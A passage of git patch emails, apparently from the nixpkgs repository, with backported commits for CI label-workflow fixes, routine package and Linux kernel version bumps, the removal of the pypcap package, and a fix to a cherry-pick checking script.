                   .sort((a,b) => b-a)
                   .at(0) ?? item.created_at
                 )
+                log('latest_event_at', latest_event_at.toISOString())
 
                 const stale_at = new Date(new Date().setDate(new Date().getDate() - 180))
 

From 4faa36a97d2611d1ca3ac7ffc5d2a560c33d4540 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 25 Jun 2025 15:14:32 +0200
Subject: [PATCH 1657/4511] workflows/labels: label rebuilds on failed PR
 workflow

We already tried to fix this case earlier, but didn't account for all
cases: A scheduled workflow can also encounter a pull request with
failed PR workflow. This failure doesn't need to be in the Eval part, so
artifacts could *still* be available. To make sure PRs always get
rebuild labels, just ignore the status condition. Either the artifact is
there, or it is not.

(cherry picked from commit 3be9e2afc1f5745477addf578a87dad76d3d6517)
---
 .github/workflows/labels.yml | 2 --
 1 file changed, 2 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index e10f4832d513..c92a9ac8da9a 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -147,8 +147,6 @@ jobs:
                   ...context.repo,
                   workflow_id: 'pr.yml',
                   event: 'pull_request_target',
-                  // In pull_request contexts the workflow is still running.
-                  status: context.payload.pull_request ? undefined : 'success',
                   exclude_pull_requests: true,
                   head_sha: pull_request.head.sha
                 })).data.workflow_runs[0]?.id ??

From 96ad003d2d66f42d1de595199b9b8eea517fd953 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 27 Jun 2025 09:15:22 +0200
Subject: [PATCH 1658/4511] workflows/labels: retry on transient API failures

Currently, the labels job fails a few times each day with network
failures. Retrying the requests should help.

(cherry picked from commit 181802791664a7540b2e008a9daa2f8923842a96)
---
 .github/workflows/labels.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index c92a9ac8da9a..d84f49b5895c 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -65,6 +65,7 @@ jobs:
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         with:
           github-token: ${{ steps.app-token.outputs.token || github.token }}
+          retries: 3
           script: |
             const Bottleneck = require('bottleneck')
             const path = require('node:path')

From 278794bb826f02a6019dc2fe2643d6af3089d8be Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 31 May 2025 18:56:16 +0000
Subject: [PATCH 1659/4511] pdfarranger: 1.11.1 -> 1.12.0

(cherry picked from commit e9d282cf7face7c82f2292d0c943fa4fdca0cb05)
---
 pkgs/by-name/pd/pdfarranger/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pd/pdfarranger/package.nix b/pkgs/by-name/pd/pdfarranger/package.nix
index 2a8045abeaa4..d9a0f67ea140 100644
--- a/pkgs/by-name/pd/pdfarranger/package.nix
+++ b/pkgs/by-name/pd/pdfarranger/package.nix
@@ -12,14 +12,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pdfarranger";
-  version = "1.11.1";
+  version = "1.12.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "pdfarranger";
     repo = "pdfarranger";
     tag = version;
-    hash = "sha256-94qziqJaKW8/L/6+U1yojxdG8BmeAStn+qbfGemTrVA=";
+    hash = "sha256-//JjIPDeyI+JZoFT2GU+wCP+tkKCchgS9ftMT5rUEOM=";
   };
 
   nativeBuildInputs = [ wrapGAppsHook3 ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ gettext ];
@@ -64,6 +64,6 @@ python3Packages.buildPythonApplication rec {
       endle
     ];
     license = lib.licenses.gpl3Plus;
-    changelog = "https://github.com/pdfarranger/pdfarranger/releases/tag/${version}";
+    changelog = "https://github.com/pdfarranger/pdfarranger/releases/tag/${src.tag}";
   };
 }

From 5d776b557e324528607f947411ee6e69d248c760 Mon Sep 17 00:00:00 2001
From: octvs <octvs@posteo.de>
Date: Thu, 26 Jun 2025 12:09:09 +0200
Subject: [PATCH 1660/4511] pdfarranger: 1.12.0 -> 1.12.1

Fixes upstream bug [1].

[1]: https://github.com/pdfarranger/pdfarranger/issues/1238

(cherry picked from commit 8eba83d9fb43fa9ea1a3a9779fac807e57c3f854)
---
 pkgs/by-name/pd/pdfarranger/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pd/pdfarranger/package.nix b/pkgs/by-name/pd/pdfarranger/package.nix
index d9a0f67ea140..c623e6181f70 100644
--- a/pkgs/by-name/pd/pdfarranger/package.nix
+++ b/pkgs/by-name/pd/pdfarranger/package.nix
@@ -12,14 +12,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pdfarranger";
-  version = "1.12.0";
+  version = "1.12.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "pdfarranger";
     repo = "pdfarranger";
     tag = version;
-    hash = "sha256-//JjIPDeyI+JZoFT2GU+wCP+tkKCchgS9ftMT5rUEOM=";
+    hash = "sha256-of1itPubf6LBJ4rSh1bca3yoNTiz5Qt9ar9XDe4nhxI=";
   };
 
   nativeBuildInputs = [ wrapGAppsHook3 ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ gettext ];

From 3dea53226e07456ded32e00c59a4bcf14fbddc1f Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:24:38 +0300
Subject: [PATCH 1661/4511] linux_testing: 6.16-rc2 -> 6.16-rc3

(cherry picked from commit 0bb03280b7b9a7c2ea90016204360e507ac500a2)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 9aa6f46d5121..fd457395c904 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.16-rc2",
-        "hash": "sha256:1hzkpp5161ss40d8j9nzvzyw6vljslx0pk5fin0klj884l5i8igh"
+        "version": "6.16-rc3",
+        "hash": "sha256:04inkd3aqpikjarxy3lxzw2v2f45mnfzlq82r8mdsm23lkn68glr"
     },
     "6.1": {
         "version": "6.1.141",

From 20c4cd18160a12369fb7b166da40fed903cc0e6d Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:24:41 +0300
Subject: [PATCH 1662/4511] linux_6_15: 6.15.3 -> 6.15.4

(cherry picked from commit ee91d33b4bfd26f7b29f217e09fc7fe8d7eced89)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index fd457395c904..5e2d97fe8909 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
     },
     "6.15": {
-        "version": "6.15.3",
-        "hash": "sha256:1c35ima9zklzi0hhmw2xmii6agj3kkycm845fg6xjf2lja4hrd8j"
+        "version": "6.15.4",
+        "hash": "sha256:05psir6p8x5a89d9kxkxlv5iifln67yf803xj5rqvx82nqkxdbqf"
     }
 }

From e2e1b04afdea3bbeac58bec0c8ff8fe81e9e1c2c Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:24:45 +0300
Subject: [PATCH 1663/4511] linux_6_12: 6.12.34 -> 6.12.35

(cherry picked from commit cebfdcddfa10c3ecceafccf6478932b450d467c0)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 5e2d97fe8909..1ab1d8d2773a 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:0mncdsqbqrxii0hirnymi1kmg50jn9v0p26flimlf2xj4vm82fbi"
     },
     "6.12": {
-        "version": "6.12.34",
-        "hash": "sha256:0kf2f3r96npzs01kdq3q2ag7zg8l3avfyqwv5qbs9v373wwgxwx7"
+        "version": "6.12.35",
+        "hash": "sha256:0j577lqmzbzx45gxvxirx627pv6cbhq9slzb50rqqmyy3nqf1x05"
     },
     "6.13": {
         "version": "6.13.12",

From a4c3c45340b5a9420679f18702f5f12bfbd435f6 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:24:48 +0300
Subject: [PATCH 1664/4511] linux_6_6: 6.6.94 -> 6.6.95

(cherry picked from commit 80a07153b974448b2260d7e7ac5a3566f5e9cce2)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 1ab1d8d2773a..69cedc8f3bf5 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:16bv0x4c9ssr66vrd6jnv2dw5na1y7hxfn4d67g0zaksh6xd0yf8"
     },
     "6.6": {
-        "version": "6.6.94",
-        "hash": "sha256:0mncdsqbqrxii0hirnymi1kmg50jn9v0p26flimlf2xj4vm82fbi"
+        "version": "6.6.95",
+        "hash": "sha256:11gaczm68mqm72f3mfg656nkiqd9y66kf943hvwghln9lblhlr0q"
     },
     "6.12": {
         "version": "6.12.35",

From 1e8f5d85dd3edd2f39fb64140ad0662f32d302fe Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:24:51 +0300
Subject: [PATCH 1665/4511] linux_6_1: 6.1.141 -> 6.1.142

(cherry picked from commit b14fb5197d607cb1e570d49bb51934a1875c79ba)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 69cedc8f3bf5..c46e857d21af 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:04inkd3aqpikjarxy3lxzw2v2f45mnfzlq82r8mdsm23lkn68glr"
     },
     "6.1": {
-        "version": "6.1.141",
-        "hash": "sha256:05n1561cbzaw9vcxp86bqzvhqz5wv7dajpy7cq34bw7myvx4ag5w"
+        "version": "6.1.142",
+        "hash": "sha256:1am31xw70sbxzdnvj70fx9l946nadcbrc7qk2yxxssy96nhnxlnw"
     },
     "5.15": {
         "version": "5.15.185",

From 6704535f3566601af24042b379748adae4cc1c37 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:24:54 +0300
Subject: [PATCH 1666/4511] linux_5_15: 5.15.185 -> 5.15.186

(cherry picked from commit 87fac376d5f5eeba73bebc58fc48e26df193320f)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index c46e857d21af..8de3ef07aaf9 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -8,8 +8,8 @@
         "hash": "sha256:1am31xw70sbxzdnvj70fx9l946nadcbrc7qk2yxxssy96nhnxlnw"
     },
     "5.15": {
-        "version": "5.15.185",
-        "hash": "sha256:1p0kjc09qqv361phscny1gqj38di9dpab9gxywljkwqhi5wyn0rx"
+        "version": "5.15.186",
+        "hash": "sha256:0anbf7v0m26da0c6d0z925im4x2kf8kswpbv056543amxvbzsklw"
     },
     "5.10": {
         "version": "5.10.238",

From 04d96ec968bbade81ff3333250e5e3cfec75e1f4 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:24:57 +0300
Subject: [PATCH 1667/4511] linux_5_10: 5.10.238 -> 5.10.239

(cherry picked from commit dc846b10c7213819bb4e5cc4c78bd6b0455f9f6f)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 8de3ef07aaf9..121ae84861d0 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -12,8 +12,8 @@
         "hash": "sha256:0anbf7v0m26da0c6d0z925im4x2kf8kswpbv056543amxvbzsklw"
     },
     "5.10": {
-        "version": "5.10.238",
-        "hash": "sha256:1dkblixa0as9h11m081dqq8vlz4dcjbzdz7phkz07p621na55j07"
+        "version": "5.10.239",
+        "hash": "sha256:1nzhl1y6avfl77fyqwjwy3qc6679gp92k0d3aarscrdydcml5yid"
     },
     "5.4": {
         "version": "5.4.294",

From 09e5f987d09d9721e58ce172ab285c54636eb054 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 14:25:00 +0300
Subject: [PATCH 1668/4511] linux_5_4: 5.4.294 -> 5.4.295

(cherry picked from commit 9e6602c2fe9eb66ab7f5e9559a669d281a4f7abd)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 121ae84861d0..f52858dba1ff 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -16,8 +16,8 @@
         "hash": "sha256:1nzhl1y6avfl77fyqwjwy3qc6679gp92k0d3aarscrdydcml5yid"
     },
     "5.4": {
-        "version": "5.4.294",
-        "hash": "sha256:16bv0x4c9ssr66vrd6jnv2dw5na1y7hxfn4d67g0zaksh6xd0yf8"
+        "version": "5.4.295",
+        "hash": "sha256:1adn0pbk8y1zp1yrz83ch6h4wypm2qvbnx4xig3sls2nfgvmi0f4"
     },
     "6.6": {
         "version": "6.6.95",

From b9d31da7cb4fedf47b06f46bc15e7078d9e3f779 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 23:59:39 +0000
Subject: [PATCH 1669/4511] plover.dev: 4.0.0.dev10 -> 4.0.2

(cherry picked from commit ac23c01c09c3bf0e5d38ac10b613bc512df8a367)
---
 pkgs/applications/misc/plover/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/misc/plover/default.nix b/pkgs/applications/misc/plover/default.nix
index 89c32a27b7ce..1a9e75b7cb70 100644
--- a/pkgs/applications/misc/plover/default.nix
+++ b/pkgs/applications/misc/plover/default.nix
@@ -13,7 +13,7 @@
     with python3Packages;
     mkDerivationWith buildPythonPackage rec {
       pname = "plover";
-      version = "4.0.0.dev10";
+      version = "4.0.2";
 
       meta = with lib; {
         broken = stdenv.hostPlatform.isDarwin;
@@ -28,8 +28,8 @@
       src = fetchFromGitHub {
         owner = "openstenoproject";
         repo = "plover";
-        rev = "v${version}";
-        sha256 = "sha256-oJ7+R3ZWhUbNTTAw1AfMg2ur8vW1XEbsa5FgSTam1Ns=";
+        tag = "v${version}";
+        sha256 = "sha256-VpQT25bl8yPG4J9IwLkhSkBt31Y8BgPJdwa88WlreA8=";
       };
 
       # I'm not sure why we don't find PyQt5 here but there's a similar

From b7d64ef015e788f1bd8bb072b599c7ad20938f6a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 12:49:20 +0000
Subject: [PATCH 1670/4511] mongodb-atlas-cli: 1.43.2 -> 1.44.0

(cherry picked from commit 40c9cf8e3b81257f44bcfd8e3c00a83f736d6392)
---
 pkgs/by-name/mo/mongodb-atlas-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/mongodb-atlas-cli/package.nix b/pkgs/by-name/mo/mongodb-atlas-cli/package.nix
index 2864e52b48ce..b861bfa2e3c9 100644
--- a/pkgs/by-name/mo/mongodb-atlas-cli/package.nix
+++ b/pkgs/by-name/mo/mongodb-atlas-cli/package.nix
@@ -10,15 +10,15 @@
 
 buildGoModule rec {
   pname = "mongodb-atlas-cli";
-  version = "1.43.2";
+  version = "1.44.0";
 
-  vendorHash = "sha256-Pem+3HH/bdf1SulsLo/5hsFYN8p7kQve0vXptUFnvsM=";
+  vendorHash = "sha256-FSf+JbIbM7EumkVmQ/ASRCIu7X6tyerhRx01/Rn0+LM=";
 
   src = fetchFromGitHub {
     owner = "mongodb";
     repo = "mongodb-atlas-cli";
     rev = "refs/tags/atlascli/v${version}";
-    sha256 = "sha256-Xb/6kgqee38DqbLPLkel8NhXxdjq4UYX4E/y3xUW7og=";
+    sha256 = "sha256-1XSIXLI0ItQPOcFXhswnnrKN5LqWRs/th4EdfvdS/G8=";
   };
 
   nativeBuildInputs = [ installShellFiles ];

From 17b501419c1e66324c4c6e35764b34fbc44f315c Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Thu, 12 Jun 2025 11:54:52 +0200
Subject: [PATCH 1671/4511] tailwindcss_4: 4.1.8 -> 4.1.10

release notes: https://github.com/tailwindlabs/tailwindcss/releases/tag/v4.1.10

(cherry picked from commit bd8c60bdcb6eb6fee0590b4867d6c48b4057762a)
---
 pkgs/by-name/ta/tailwindcss_4/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ta/tailwindcss_4/package.nix b/pkgs/by-name/ta/tailwindcss_4/package.nix
index c0dfe093055b..23c412a3ceb4 100644
--- a/pkgs/by-name/ta/tailwindcss_4/package.nix
+++ b/pkgs/by-name/ta/tailwindcss_4/package.nix
@@ -7,7 +7,7 @@
   makeWrapper,
 }:
 let
-  version = "4.1.8";
+  version = "4.1.10";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "tailwindcss has not been packaged for ${system} yet.";
 
@@ -22,10 +22,10 @@ let
 
   hash =
     {
-      aarch64-darwin = "sha256-GeUnkdNW3VnbaCdK42pYebqwzp2sI8x7Dxn8e3wdN6I=";
-      aarch64-linux = "sha256-KKd9Hlmw5FtBaDweOUdiH9/nP2iVsF23w09j8/SJjo0=";
-      x86_64-darwin = "sha256-SmyyYNdcS9ygck+8w7I6WttScVrW14WVRjyGEoyhwyk=";
-      x86_64-linux = "sha256-j4TOgQvf8iXlmXgdHi2qgrQoIikCHIZ6cbQZ9Z+aqDY=";
+      aarch64-darwin = "sha256-80qFp1sfLeLH5Kn7xPuXbmSieAmA6EPfh9nBP1VfSkw=";
+      aarch64-linux = "sha256-Z+tiC7QEwgRtPBJ9vy1/mSFZUGVHXn0tUo45wbszybY=";
+      x86_64-darwin = "sha256-R6EwxfY5OERW4KyKDWC5XXSQYYcxSk28N+fB3b63E64=";
+      x86_64-linux = "sha256-CoWj5TPy55g725HAjqRPDqs77MJ15gs7qt3xj3HTkL8=";
     }
     .${system} or throwSystem;
 in

From 122034aaa1c4302ce1637d54b2003e593fb0c2da Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Fri, 27 Jun 2025 08:23:20 +0200
Subject: [PATCH 1672/4511] tailwindcss_4: 4.1.10 -> 4.1.11

(cherry picked from commit 5561262cfddc033db69c7f4a852599249592bcab)
---
 pkgs/by-name/ta/tailwindcss_4/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ta/tailwindcss_4/package.nix b/pkgs/by-name/ta/tailwindcss_4/package.nix
index 23c412a3ceb4..a7d0e41d6400 100644
--- a/pkgs/by-name/ta/tailwindcss_4/package.nix
+++ b/pkgs/by-name/ta/tailwindcss_4/package.nix
@@ -7,7 +7,7 @@
   makeWrapper,
 }:
 let
-  version = "4.1.10";
+  version = "4.1.11";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "tailwindcss has not been packaged for ${system} yet.";
 
@@ -22,10 +22,10 @@ let
 
   hash =
     {
-      aarch64-darwin = "sha256-80qFp1sfLeLH5Kn7xPuXbmSieAmA6EPfh9nBP1VfSkw=";
-      aarch64-linux = "sha256-Z+tiC7QEwgRtPBJ9vy1/mSFZUGVHXn0tUo45wbszybY=";
-      x86_64-darwin = "sha256-R6EwxfY5OERW4KyKDWC5XXSQYYcxSk28N+fB3b63E64=";
-      x86_64-linux = "sha256-CoWj5TPy55g725HAjqRPDqs77MJ15gs7qt3xj3HTkL8=";
+      aarch64-darwin = "sha256-9ZhLnABcPmeEHDOQbHp8kuheQF9h4Cnpu2LogN1mLnk=";
+      aarch64-linux = "sha256-BAmqQiKWn0f6b0Fg/lOH55v3Jp56/g6LIvdTLJjh0xQ=";
+      x86_64-darwin = "sha256-duJzJlBtENUOZbdReV8FN/kwTssQCr6DXsE4xBd084w=";
+      x86_64-linux = "sha256-ZIBbhK9CkuBD6m+G0kLxkcCsdTWcGkmEVd/mxkKv26s=";
     }
     .${system} or throwSystem;
 in

From 786f29c656121d3815d4f7c6b8c07d7fd0d48ccd Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 18 Jun 2025 16:13:43 -0400
Subject: [PATCH 1673/4511] python3Packages.pypcap: drop

Does not build with gcc 14, unmaintained upstream.

(cherry picked from commit 870c0b72faeb3436e6b772974dcd7835a17956d8)
---
 .../python-modules/pypcap/default.nix         | 47 -------------------
 pkgs/top-level/python-aliases.nix             |  1 +
 pkgs/top-level/python-packages.nix            |  4 --
 3 files changed, 1 insertion(+), 51 deletions(-)
 delete mode 100644 pkgs/development/python-modules/pypcap/default.nix

diff --git a/pkgs/development/python-modules/pypcap/default.nix b/pkgs/development/python-modules/pypcap/default.nix
deleted file mode 100644
index 4bf0723dc6ce..000000000000
--- a/pkgs/development/python-modules/pypcap/default.nix
+++ /dev/null
@@ -1,47 +0,0 @@
-{
-  lib,
-  buildPythonPackage,
-  dpkt,
-  fetchFromGitHub,
-  libpcap,
-  pytestCheckHook,
-}:
-
-buildPythonPackage rec {
-  pname = "pypcap";
-  version = "1.3.0";
-  format = "setuptools";
-
-  src = fetchFromGitHub {
-    owner = "pynetwork";
-    repo = pname;
-    # No release was tagged and PyPI doesn't contain tests.
-    rev = "968859f0ffb5b7c990506dffe82457b7de23a026";
-    hash = "sha256-NfyEC3qEBm6TjebcDIsoz8tJWaJ625ZFPfx7AMyynWE=";
-  };
-
-  postPatch = ''
-    # Add the path to libpcap in the nix-store
-    substituteInPlace setup.py --replace "('/usr', sys.prefix)" "'${libpcap}'"
-    # Remove coverage from test run
-    sed -i "/--cov/d" setup.cfg
-  '';
-
-  buildInputs = [ libpcap ];
-
-  nativeCheckInputs = [
-    dpkt
-    pytestCheckHook
-  ];
-
-  pytestFlagsArray = [ "tests" ];
-
-  pythonImportsCheck = [ "pcap" ];
-
-  meta = with lib; {
-    homepage = "https://github.com/pynetwork/pypcap";
-    description = "Simplified object-oriented Python wrapper for libpcap";
-    license = licenses.bsd3;
-    maintainers = with maintainers; [ oxzi ];
-  };
-}
diff --git a/pkgs/top-level/python-aliases.nix b/pkgs/top-level/python-aliases.nix
index 052edce0f572..cc2466fbc39a 100644
--- a/pkgs/top-level/python-aliases.nix
+++ b/pkgs/top-level/python-aliases.nix
@@ -514,6 +514,7 @@ mapAliases ({
   pwndbg = throw "'pwndbg' has been removed due to dependency version incompatibilities that are infeasible to maintain in nixpkgs. Use the downstream flake that pwndbg provides instead: https://github.com/pwndbg/pwndbg"; # Added 2025-02-09
   pxml = throw "pxml was removed, because it was disabled on all python version since 3.8 and last updated in 2020."; # added 2024-05-13
   py3to2 = throw "py3to2 is unmaintained and source is no longer available"; # added 2024-10-23
+  pypcap = throw "pypcap has been removed because it is broken and unmaintained upstream."; # added 2025-06-18
   py-radix = throw "py-radix has been removed, since it abandoned"; # added 2023-07-07
   py_stringmatching = py-stringmatching; # added 2023-11-12
   py17track = throw "py17track was removed because Home Assistant switched to pyseventeentrack"; # added 2024-08-08
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 8741a79ad920..ae264ecccc24 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -13049,10 +13049,6 @@ self: super: with self; {
 
   pypca = callPackage ../development/python-modules/pypca { };
 
-  pypcap = callPackage ../development/python-modules/pypcap {
-    inherit (pkgs) libpcap; # Avoid confusion with python package of the same name
-  };
-
   pypck = callPackage ../development/python-modules/pypck { };
 
   pypdf = callPackage ../development/python-modules/pypdf { };

From 628b1a0d179591bfc9c4481a4b98a661f0fa8914 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 27 Jun 2025 16:27:45 +0200
Subject: [PATCH 1674/4511] ci/check-cherry-picks: fix chained cherry-picks

When backporting a PR from master -> 25.05 -> 24.11 in a chain, the last
cherry-pick will have two references to different commits in it. If
there was conflict resolution in the first step, the diff will show up
again in the last step. This can be fixed by comparing against the right
hash - always the last one.

(cherry picked from commit df5b98a38c13768766da4ef350872ee0fef206da)
---
 ci/check-cherry-picks.sh | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 51efb543ad3f..113828f6ee1c 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -66,9 +66,11 @@ while read -r new_commit_sha ; do
   git rev-list --max-count=1 --format=medium "$new_commit_sha"
   echo "-------------------------------------------------"
 
+  # Using the last line with "cherry" + hash, because a chained backport
+  # can result in multiple of those lines. Only the last one counts.
   original_commit_sha=$(
     git rev-list --max-count=1 --format=format:%B "$new_commit_sha" \
-    | grep -Ei -m1 "cherry.*[0-9a-f]{40}" \
+    | grep -Ei "cherry.*[0-9a-f]{40}" | tail -n1 \
     | grep -Eoi -m1 '[0-9a-f]{40}' || true
   )
   if [ -z "$original_commit_sha" ] ; then

From de29a2f68e7213b4315484b005e58a8c4fbe6918 Mon Sep 17 00:00:00 2001
From: Dom Rodriguez <shymega@shymega.org.uk>
Date: Wed, 25 Jun 2025 18:06:18 +0100
Subject: [PATCH 1675/4511] input-leap: 3.0.2 -> 3.0.3

This PR bumps Input Leap to v3.0.3

It also removes the now-merged patch for a Qt bug, and updates the filename used for the XDG .desktop file.

Fixes: #400513
Signed-off-by: Dom Rodriguez <shymega@shymega.org.uk>
(cherry picked from commit 7a61ac36c7ac6588932a0563ea645f428446f5dd)
---
 pkgs/applications/misc/input-leap/default.nix | 18 ++----------------
 1 file changed, 2 insertions(+), 16 deletions(-)

diff --git a/pkgs/applications/misc/input-leap/default.nix b/pkgs/applications/misc/input-leap/default.nix
index 68287ee614a3..a1b58f633b78 100644
--- a/pkgs/applications/misc/input-leap/default.nix
+++ b/pkgs/applications/misc/input-leap/default.nix
@@ -2,7 +2,6 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  fetchpatch2,
   cmake,
 
   withLibei ? true,
@@ -29,13 +28,13 @@
 
 stdenv.mkDerivation rec {
   pname = "input-leap";
-  version = "3.0.2";
+  version = "3.0.3";
 
   src = fetchFromGitHub {
     owner = "input-leap";
     repo = "input-leap";
     rev = "v${version}";
-    hash = "sha256-YkBHvwN573qqQWe/p0n4C2NlyNQHSZNz2jyMKGPITF4=";
+    hash = "sha256-zSaeeMlhpWIX3y4OmZ7eHXCu1HPP7NU5HFkME/JZjuQ=";
     fetchSubmodules = true;
   };
 
@@ -65,14 +64,6 @@ stdenv.mkDerivation rec {
       libportal
     ];
 
-  patches = [
-    (fetchpatch2 {
-      # Upstream fix for crash on qt6.8 https://github.com/input-leap/input-leap/issues/2067
-      url = "https://github.com/input-leap/input-leap/commit/2641bc502e16b1fb7372b43e94d4b894cbc71279.patch?full_index=1";
-      hash = "sha256-LV09ITcE0ihKMByM5wiRetGwKbPrJbVY6HjZLqa8Dcs=";
-    })
-  ];
-
   cmakeFlags = [
     "-DINPUTLEAP_REVISION=${builtins.substring 0 8 src.rev}"
   ] ++ lib.optional withLibei "-DINPUTLEAP_BUILD_LIBEI=ON";
@@ -85,11 +76,6 @@ stdenv.mkDerivation rec {
     )
   '';
 
-  postFixup = ''
-    substituteInPlace $out/share/applications/io.github.input_leap.InputLeap.desktop \
-      --replace "Exec=input-leap" "Exec=$out/bin/input-leap"
-  '';
-
   meta = {
     description = "Open-source KVM software";
     longDescription = ''

From 8155584f9997e369a760c9a788159834e848b381 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 26 Jun 2025 10:45:14 +0200
Subject: [PATCH 1676/4511] electron_36-bin: 36.4.0 -> 36.6.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.6.0
